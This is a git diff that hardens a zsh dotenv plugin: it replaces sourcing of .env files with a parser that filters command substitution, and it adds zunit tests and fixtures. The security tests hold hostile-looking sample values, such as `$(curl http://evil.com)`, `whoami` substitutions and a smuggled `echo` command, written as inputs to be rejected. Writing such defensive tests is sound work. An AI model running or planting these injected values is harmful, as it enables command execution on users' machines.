diff --git a/plugins/dotenv/.zunit.yml b/plugins/dotenv/.zunit.yml
new file mode 100644
index 000000000..ae65f8ef2
--- /dev/null
+++ b/plugins/dotenv/.zunit.yml
@@ -0,0 +1,9 @@
+tap: false
+directories:
+  tests: tests
+  output: tests/_output
+  support: tests/_support
+time_limit: 0
+fail_fast: false
+allow_risky: false
+verbose: true
diff --git a/plugins/dotenv/README.md b/plugins/dotenv/README.md
index 5dbcf0fb1..56b518f32 100644
--- a/plugins/dotenv/README.md
+++ b/plugins/dotenv/README.md
@@ -86,6 +86,14 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
 
 No additional configuration is required — the plugin automatically detects and sources named pipes.
 
+## Tests
+
+The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its documentation, then run:
+
+```sh
+zunit plugins/dotenv/tests/test_run.sh
+```
+
 ## Version Control
 
 **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
diff --git a/plugins/dotenv/dotenv.plugin.zsh b/plugins/dotenv/dotenv.plugin.zsh
index b2a8e6747..edc119af3 100644
--- a/plugins/dotenv/dotenv.plugin.zsh
+++ b/plugins/dotenv/dotenv.plugin.zsh
@@ -10,6 +10,138 @@
 
 ## Functions
 
+parse_dotenv() {
+  setopt localoptions extendedglob
+
+  local filename="$1"
+  local mode="${2:-export}"
+
+  # Validate mode argument
+  case "$mode" in
+    export|test) ;;
+    *)
+      echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
+      return 1
+      ;;
+  esac
+
+  local content node line key value
+  local -A parsed_vars
+  local -a nodes lines
+
+  # Read entire file
+  content="$(<$filename)" || return 1
+
+  # Parse into command lines separated by `;`, with built-in support for multi-line commands.
+  # (Z:C:) ignores comments and preserves quotes and escapes.
+  #
+  # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
+  # by joining all elements between ';'.
+  #
+  # Example input:
+  #   VAR1=value1; VAR2=value2
+  #   VAR3="multi
+  #   line value"
+  #
+  # Result:
+  #   typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
+  #   typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
+  #
+  nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
+  for node in "${nodes[@]}"; do
+    if [[ "$node" == ";" ]]; then
+      if [[ -n "$line" ]]; then
+        lines+=("$line")
+        line=""
+      fi
+      continue
+    fi
+
+    [[ -z "$line" ]] || line+=" "
+    line="$node"
+  done
+  # typeset -p nodes lines
+
+  # Each line contains a single command line, we need to parse valid KEY=VALUE pairs
+  for line in "${lines[@]}"; do
+    # Strip leading 'export ' keyword
+    line="${line#export[ 	]}"
+
+    # Match KEY=VALUE pattern
+    # "A name may be any sequence of alphanumeric characters and underscores"
+    # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
+    if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
+      continue
+    fi
+
+    key="${match[1]}"
+    value="${match[2]}"
+
+    # Use tokenization to split value with native shell parsing (handles quotes and escapes)
+    # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
+    local -a words
+    words=("${(@z)value}")
+    if [[ ${#words} -ne 1 ]]; then
+      continue
+    fi
+
+    ## START: FILTER COMMAND EXPANSION
+    #
+    # Filter lines with command expansion not in safe contexts
+    #
+    # Reader's note: this is actually a "best effort" check (works in tests), but
+    # only to prevent setting variables with command substitution. The actual effect
+    # of setting them would not be a vulnerability, because we use `typeset name=value`
+    # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
+    #
+    # What does this mean? If we remove remove this filter block, this is what happens:
+    #
+    # Input: DANGEROUS=$(echo this is a command)
+    # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
+    #
+    # Check for potential command substitution outside of safe contexts
+    local sq dq uq safe remainder
+    # - single-quoted strings: command substitution is literal there
+    sq="'[^']#'"
+    # - double-quoted strings, but NOT unescaped ` or $(
+    dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
+    # - unquoted text, but NOT unescaped ` or $(
+    uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
+    safe="(${sq}|${dq}|${uq})#"
+    # Remove the longest safe prefix; what remains starts at first unsafe construct
+    remainder="${value##${~safe}}"
+
+    if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
+      continue
+    fi
+    ## END: FILTER COMMAND EXPANSION
+
+    # Unquote the value to handle special characters and multiline values
+    value="${(Q)value}"
+
+    # Expand variables from in-file parsed vars (same as double-quoted)
+    local expanded="$value"
+    for var_name in "${(@k)parsed_vars}"; do
+      local var_value="${parsed_vars[$var_name]}"
+      expanded="${expanded//\$\{${var_name}\}/${var_value}}"
+      expanded="${expanded//\$${var_name}/${var_value}}"
+    done
+    value="$expanded"
+
+    # Store in parsed vars (for in-file expansion)
+    parsed_vars[$key]="$value"
+
+    # Normal mode: export the variable
+    if [[ "$mode" == "export" ]]; then
+      typeset -x "$key"="$value"
+    fi
+  done
+
+  # In test mode, set DOTENV_TEST_VARS
+  typeset -gA DOTENV_TEST_VARS
+  DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
+}
+
 source_env() {
   if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
     return
@@ -58,7 +190,7 @@ source_env() {
   }
 
   setopt localoptions allexport
-  source $ZSH_DOTENV_FILE
+  parse_dotenv "$ZSH_DOTENV_FILE"
 }
 
 autoload -U add-zsh-hook
diff --git a/plugins/dotenv/tests/_output/.gitignore b/plugins/dotenv/tests/_output/.gitignore
new file mode 100644
index 000000000..d6b7ef32c
--- /dev/null
+++ b/plugins/dotenv/tests/_output/.gitignore
@@ -0,0 +1,2 @@
+*
+!.gitignore
diff --git a/plugins/dotenv/tests/_support/bootstrap b/plugins/dotenv/tests/_support/bootstrap
new file mode 100644
index 000000000..d4ccaf78c
--- /dev/null
+++ b/plugins/dotenv/tests/_support/bootstrap
@@ -0,0 +1,139 @@
+#!/usr/bin/env zsh
+# Bootstrap script for dotenv plugin tests
+# This is sourced before any tests run and provides shared utilities
+
+# Load the dotenv plugin
+source "$PWD/dotenv.plugin.zsh"
+ZSH_DOTENV_PROMPT=false
+ZSH_DOTENV_FILE=/dev/null
+
+# Helper: Parse dotenv file in test mode
+_parse_dotenv_test() {
+  parse_dotenv "$1" "test"
+}
+
+# Helper: Parse dotenv file in export mode
+_parse_dotenv_export() {
+  unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
+
+  parse_dotenv "$1" "test"
+
+  for key in "${(k)DOTENV_TEST_VARS}"; do
+    typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
+  done
+}
+
+# Helper: Run parse_dotenv supressing stderr
+_parse_dotenv_quiet() {
+  parse_dotenv "$@" 2>/dev/null
+}
+
+# Helper: Create a temporary test fixture
+_create_temp_fixture() {
+  local fixture
+  fixture==(:)  # Create temp file
+  echo "$fixture"
+}
+
+_write_temp_fixture() {
+  local fixture="$1"
+  > "$fixture"
+}
+
+
+# Helper: Source file with allexport and capture variables
+# Usage: _source_with_allexport "file.env"
+# Result is in DOTENV_SOURCE_VARS associative array
+_source_with_allexport() {
+  local filename="$1"
+
+  # Source with allexport in a subshell with no exported variables
+
+  # The return and capture of the exported variables is a bit of a pain:
+  # 1. We first store the key=value pairs in $vars associative array, which is
+  #    defined before allexport is set to avoid appearing in results.
+  # 2. Afterwards, we join all keys and values of the associative with null delimiters. With 
+  #    "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
+  #    we join them with nulls.
+  # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
+  #    empty values, and then uses it to populate an associative array.
+  # Don't try to understand this or change it unless you have to. Debugging is a nightmare.
+  typeset -gA DOTENV_SOURCE_VARS
+  DOTENV_SOURCE_VARS=("${(@0)"$(
+    local -A vars
+
+    # Clear all exports first
+    zmodload zsh/parameter
+    unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
+
+    # Source file with allexport
+    setopt localoptions allexport
+    source "$filename"
+
+    # Set all exported variables into an associative array
+    for key in ${(k)parameters[(R)*export*]}; do
+      vars[$key]="${(P)key}"
+    done
+
+    print -rn -- "${(@kvpj:\0:)vars}"
+  )"}")
+}
+
+
+## ZUnit assertion helpers
+
+_zunit_assert_function_exists() {
+  [[ "${+functions[$1]}" -eq 1 ]] && return 0
+  echo "Function '$1' does not exist"
+  exit 1
+}
+
+_zunit_assert_var_same_as() {
+  local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
+  if [[ $tvalue != $tcomp ]]; then
+    echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
+    exit 78
+  fi
+
+  # Special case for associative arrays
+  if [[ ${(Pt)1} == "association" ]]; then
+    local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
+    local -aU keys=("${(@k)value}" "${(@k)comparison}")
+
+    local ret=0 key
+    for key in "${keys[@]}"; do
+      # Key match checks
+      if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is set"
+        ret=1
+      elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is not set"
+        ret=1
+      # Value match checks
+      elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
+        echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
+        ret=1
+      fi
+    done
+
+    exit $ret
+  fi
+
+  # Generic case
+  local value="${(P)1}" comparison="${(P)2}"
+  [[ "$value" != "$comparison" ]] || exit 0
+  echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
+  exit 1
+}
+
+_zunit_assert_var_is_set() {
+  [[ -v "$1" ]] && return 0
+  echo "Variable '$1' is not set"
+  exit 1
+}
+
+_zunit_assert_var_is_not_set() {
+  [[ ! -v "$1" ]] && return 0
+  echo "Variable '$1' is set"
+  exit 1
+}
diff --git a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env
new file mode 100644
index 000000000..16a56267c
--- /dev/null
+++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env
@@ -0,0 +1,88 @@
+# Consolidated dotenv test fixture from dotenv test suite
+# Source: https://github.com/motdotla/dotenv/tree/master/tests
+#
+# Copyright (c) 2015, Scott Motte
+# All rights reserved.
+
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+
+# * Redistributions of source code must retain the above copyright notice, this
+#   list of conditions and the following disclaimer.
+
+# * Redistributions in binary form must reproduce the above copyright notice,
+#   this list of conditions and the following disclaimer in the documentation
+#   and/or other materials provided with the distribution.
+
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
+
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
diff --git a/plugins/dotenv/tests/_support/fixtures/features.env b/plugins/dotenv/tests/_support/fixtures/features.env
new file mode 100644
index 000000000..e5862bc8e
--- /dev/null
+++ b/plugins/dotenv/tests/_support/fixtures/features.env
@@ -0,0 +1,23 @@
+# Export syntax
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+
+# Testing multiline quoting edge cases
+MULTILINE_UNQUOTED=This\ is\ a\ \
+multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
+MULTILINE_DOUBLE_QUOTED="This is a \
+multiline value that should be treated as a single line with an actual newline character"
+MULTILINE_SINGLE_QUOTED='This is a \
+multiline value that should be treated as a single line with a literal backslash and newline'
+MULTILINE_MIXED_QUOTES="This is a \
+multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
+
+# Test for regressions
+DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
+VAR_WITH_SEMICOLONS="value ; with ; semicolons"
diff --git a/plugins/dotenv/tests/basic-parsing.zunit b/plugins/dotenv/tests/basic-parsing.zunit
new file mode 100644
index 000000000..bbd46e3d6
--- /dev/null
+++ b/plugins/dotenv/tests/basic-parsing.zunit
@@ -0,0 +1,257 @@
+#!/usr/bin/env zunit
+
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'dotenv plugin loads successfully' {
+  assert "parse_dotenv" function_exists
+  assert "source_env" function_exists
+}
+
+@test 'parse returns error for unsupported mode' {
+  run _parse_dotenv_quiet "/dev/null" "export"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "test"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "invalid_mode"
+  assert $state equals 1
+}
+
+@test 'parse returns error for non-existent file' {
+  run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
+  assert $state equals 1
+}
+
+@test 'parse basic variable assignment' {
+  > "$fixture" <<'EOF'
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+EOF
+
+  expected_vars=(
+    BASIC 'basic'
+    AFTER_LINE 'after_line'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse empty values' {
+  > "$fixture" <<'EOF'
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+EOF
+
+  expected_vars=(
+    EMPTY ''
+    EMPTY_SINGLE_QUOTES ''
+    EMPTY_DOUBLE_QUOTES ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse single quoted values' {
+  > "$fixture" <<'EOF'
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+EOF
+
+  expected_vars=(
+    SINGLE_QUOTES 'single_quotes'
+    SINGLE_QUOTES_SPACED '    single quotes    '
+    DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse double quoted values' {
+  > "$fixture" <<'EOF'
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES 'double_quotes'
+    DOUBLE_QUOTES_SPACED '    double quotes    '
+    EXPAND_NEWLINES "expand\nnew\nlines"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse unquoted values' {
+  > "$fixture" <<'EOF'
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
+EOF
+
+
+  expected_vars=(
+    DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse quotes inside quotes' {
+  > "$fixture" <<'EOF'
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
+    SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse inline comments' {
+  > "$fixture" <<'EOF'
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+EOF
+
+  expected_vars=(
+    INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
+    INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
+    INLINE_COMMENTS_UNQUOTED 'value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse special characters' {
+  > "$fixture" <<'EOF'
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+EOF
+
+  expected_vars=(
+    EQUAL_SIGNS 'equals=='
+    RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
+    USEREMAIL 'therealnerdybeast@example.tld'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse multiline values with mixed quotes' {
+  > "$fixture" <<'EOF'
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
+EOF
+
+  expected_vars=(
+    MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse export syntax' {
+  > "$fixture" <<'EOF'
+# Exported variables
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+EOF
+
+  expected_vars=(
+    EXPORTED_VAR 'exported_value'
+    EXPORTED_EMPTY ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion' {
+  > "$fixture" <<'EOF'
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+EOF
+
+  expected_vars=(
+    BASE_URL 'https://api.example.com'
+    API_ENDPOINT 'https://api.example.com/v1'
+    FULL_ENDPOINT 'https://api.example.com/v2/users'
+    COMBINED 'https://api.example.com_suffix'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
diff --git a/plugins/dotenv/tests/compatibility.zunit b/plugins/dotenv/tests/compatibility.zunit
new file mode 100644
index 000000000..61c5dddba
--- /dev/null
+++ b/plugins/dotenv/tests/compatibility.zunit
@@ -0,0 +1,27 @@
+#!/usr/bin/env zunit
+
+@setup {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@teardown {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'compatibility: dotenvjs fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
+
+@test 'compatibility: features fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/features.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
diff --git a/plugins/dotenv/tests/security.zunit b/plugins/dotenv/tests/security.zunit
new file mode 100644
index 000000000..62f4e38a3
--- /dev/null
+++ b/plugins/dotenv/tests/security.zunit
@@ -0,0 +1,164 @@
+#!/usr/bin/env zunit
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'skip dangerous backtick command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_BACKTICK=`whoami`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dangerous subshell command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_SUBSHELL=$(date)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip nested command substitution in double quotes' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip multiple words (potential command execution)' {
+  > "$fixture" <<'EOF'
+# Should be skipped - multiple words could execute commands
+BASE_URL=/ echo command run
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow literal command substitution in single quotes' {
+  > "$fixture" <<'EOF'
+# Single quotes make everything literal - should be parsed
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_BACKTICK='`also literal`'
+
+# Should also be parsed
+SAFE_VAR=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_BACKTICK '`also literal`'
+    SAFE_VAR 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip backticks in unquoted values' {
+  > "$fixture" <<'EOF'
+# Backticks in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=`echo danger`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dollar-paren in unquoted values' {
+  > "$fixture" <<'EOF'
+# Command substitution in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=$(uname -a)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
+  > "$fixture" <<'EOF'
+# Dollar signs that don't start command substitution
+SAFE_DOLLARS='$HOME is literal'
+SAFE_PRICE='Cost is $50'
+SAFE_VAR='value$123'
+
+# Should all be parsed
+SAFE_VAR2=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_DOLLARS '$HOME is literal'
+    SAFE_PRICE 'Cost is $50'
+    SAFE_VAR 'value$123'
+    SAFE_VAR2 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip quoted command substitution' {
+  > "$fixture" <<'EOF'
+HARMLESS_COMMAND="\$(echo)"
+ANOTHER_ONE=$'\x24\x28echo\x29'
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'comprehensive security test with mixed safe and dangerous patterns' {
+  > "$fixture" <<'EOF'
+# These should be SKIPPED (dangerous)
+DANGEROUS_BACKTICK=`whoami`
+DANGEROUS_SUBSHELL=$(date)
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+LOOKS_SAFE=$(curl http://evil.com)
+BASE_URL=/ echo command run
+
+# These should WORK (safe)
+SAFE_BEFORE=safe_value_1
+SAFE_AFTER=safe_value_2
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_SINGLE_QUOTED2='`also literal`'
+SAFE_DOLLARS='$HOME'
+SAFE_PRICE="$50"
+EOF
+
+  expected_vars=(
+    SAFE_BEFORE 'safe_value_1'
+    SAFE_AFTER 'safe_value_2'
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_SINGLE_QUOTED2 '`also literal`'
+    SAFE_DOLLARS '$HOME'
+    SAFE_PRICE '$50'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}